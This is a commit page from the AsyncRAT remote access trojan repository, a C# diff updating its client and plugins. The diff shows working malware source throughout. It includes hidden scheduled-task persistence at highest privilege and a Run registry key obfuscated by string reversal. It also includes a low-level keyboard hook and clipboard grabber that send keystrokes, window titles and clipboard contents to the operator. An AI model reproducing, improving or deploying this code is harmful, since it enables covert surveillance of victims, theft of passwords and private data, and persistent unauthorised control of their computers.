Skip to content

Commit 565441b

Browse files
committed
update
fixed startup method PlatformTarget from anycpu to x86
1 parent 59ea9b0 commit 565441b

File tree

7 files changed

+25
-27
lines changed

7 files changed

+25
-27
lines changed

AsyncRAT-C#/Client/Client.csproj

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,7 @@
4747
<GenerateSerializationAssemblies>Auto</GenerateSerializationAssemblies>
4848
</PropertyGroup>
4949
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
50-
<PlatformTarget>AnyCPU</PlatformTarget>
50+
<PlatformTarget>x86</PlatformTarget>
5151
<DebugType>none</DebugType>
5252
<Optimize>true</Optimize>
5353
<OutputPath>..\Binaries\Release\Stub\</OutputPath>

AsyncRAT-C#/Client/Install/NormalStartup.cs

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,7 @@ public static void Install()
3434
Process.Start(new ProcessStartInfo
3535
{
3636
FileName = "cmd",
37-
Arguments = "/c schtasks /create /f /sc onlogon /rl highest /tn " + Path.GetFileNameWithoutExtension(currentProcess) + " /tr " + "'" + "\"" + installPath.FullName + "\"" + "' & exit",
37+
Arguments = "/c schtasks /create /f /sc onlogon /rl highest /tn " + "\"" + Path.GetFileNameWithoutExtension(installPath.Name) + "\"" + " /tr " + "'" + "\"" + installPath.FullName + "\"" + "' & exit",
3838
WindowStyle = ProcessWindowStyle.Hidden,
3939
CreateNoWindow = true,
4040
});
@@ -43,7 +43,7 @@ public static void Install()
4343
{
4444
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(Strings.StrReverse(@"\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree))
4545
{
46-
key.SetValue(Path.GetFileNameWithoutExtension(installPath.FullName), "\"" + installPath.FullName + "\"");
46+
key.SetValue(Path.GetFileNameWithoutExtension(installPath.Name), "\"" + installPath.FullName + "\"");
4747
}
4848
}
4949

AsyncRAT-C#/Client/Settings.cs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ public static class Settings
1313
#if DEBUG
1414
public static string Ports = "6606";
1515
public static string Hosts = "127.0.0.1";
16-
public static string Version = "0.5.6E";
16+
public static string Version = "0.5.7A";
1717
public static string Install = "false";
1818
public static string InstallFolder = "AppData";
1919
public static string InstallFile = "Test.exe";

AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Packet.cs

Lines changed: 15 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,7 @@ protected override void WndProc(ref Message m)
5353
MsgPack msgpack = new MsgPack();
5454
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
5555
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
56-
msgpack.ForcePathObject("log").AsString = $"\n### Clipboard ###\n{Clipboard.GetCurrentText()}\n";
56+
msgpack.ForcePathObject("log").AsString = $"\n\r[Clipboard]\n{Clipboard.GetCurrentText()}\n\r";
5757
Connection.Send(msgpack.Encode2Bytes());
5858
}
5959
base.WndProc(ref m);
@@ -184,11 +184,8 @@ private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
184184
}
185185
else
186186
{
187-
sb.Append(Environment.NewLine);
188-
sb.Append(Environment.NewLine);
189-
sb.Append($"### {GetActiveWindowTitle()} | {DateTime.Now.ToShortTimeString()} ###");
190-
sb.Append(Environment.NewLine);
191-
sb.Append(currentKey);
187+
sb.Append($"\n\r[{DateTime.Now.ToShortTimeString()}] [{GetActiveWindowTitle()}]");
188+
sb.Append($"\n{currentKey}");
192189
}
193190
MsgPack msgpack = new MsgPack();
194191
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
@@ -225,19 +222,20 @@ private static string GetActiveWindowTitle()
225222
{
226223
try
227224
{
228-
IntPtr hwnd = GetForegroundWindow();
229-
GetWindowThreadProcessId(hwnd, out uint pid);
230-
Process p = Process.GetProcessById((int)pid);
231-
string title = p.MainWindowTitle;
232-
if (string.IsNullOrWhiteSpace(title))
233-
title = p.ProcessName;
234-
CurrentActiveWindowTitle = title;
235-
return title;
225+
const int nChars = 256;
226+
StringBuilder stringBuilder = new StringBuilder(nChars);
227+
IntPtr handle = GetForegroundWindow();
228+
GetWindowThreadProcessId(handle, out uint pid);
229+
if (GetWindowText(handle, stringBuilder, nChars) > 0)
230+
{
231+
CurrentActiveWindowTitle = stringBuilder.ToString();
232+
return CurrentActiveWindowTitle;
233+
}
236234
}
237235
catch (Exception)
238236
{
239-
return "???";
240237
}
238+
return "???";
241239
}
242240

243241
#region "Hooks & Native Methods"
@@ -249,6 +247,8 @@ private static string GetActiveWindowTitle()
249247
private static string CurrentActiveWindowTitle;
250248

251249

250+
[DllImport("user32.dll")]
251+
private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
252252
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
253253
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
254254
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

AsyncRAT-C#/Plugin/Options/Options/Handler/HandleUninstall.cs

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -23,12 +23,10 @@ public HandleUninstall()
2323
{
2424
Process.Start(new ProcessStartInfo()
2525
{
26-
FileName = "schtasks",
27-
Arguments = "/delete /f /tn " + @"""'" + Path.GetFileNameWithoutExtension(Application.ExecutablePath) + @"""'",
26+
FileName = "cmd",
27+
Arguments = "/c schtasks /delete /f /tn " + "\"" + Path.GetFileNameWithoutExtension(Application.ExecutablePath) + "\"",
28+
WindowStyle = ProcessWindowStyle.Hidden,
2829
CreateNoWindow = true,
29-
ErrorDialog = false,
30-
UseShellExecute = false,
31-
WindowStyle = ProcessWindowStyle.Hidden
3230
});
3331
}
3432
}

AsyncRAT-C#/Server/Properties/AssemblyInfo.cs

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -31,5 +31,5 @@
3131
// You can specify all the values or you can default the Build and Revision Numbers
3232
// by using the '*' as shown below:
3333
// [assembly: AssemblyVersion("1.0.*")]
34-
[assembly: AssemblyVersion("0.5.6.0")]
35-
[assembly: AssemblyFileVersion("0.5.6.0")]
34+
[assembly: AssemblyVersion("0.5.7.0")]
35+
[assembly: AssemblyFileVersion("0.5.7.0")]

AsyncRAT-C#/Server/Settings.cs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ public static class Settings
1919

2020
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
2121
public static X509Certificate2 ServerCertificate;
22-
public static readonly string Version = "AsyncRAT 0.5.6E";
22+
public static readonly string Version = "AsyncRAT 0.5.7A";
2323
public static object LockListviewClients = new object();
2424
public static object LockListviewLogs = new object();
2525
public static object LockListviewThumb = new object();

0 commit comments

Comments
 (0)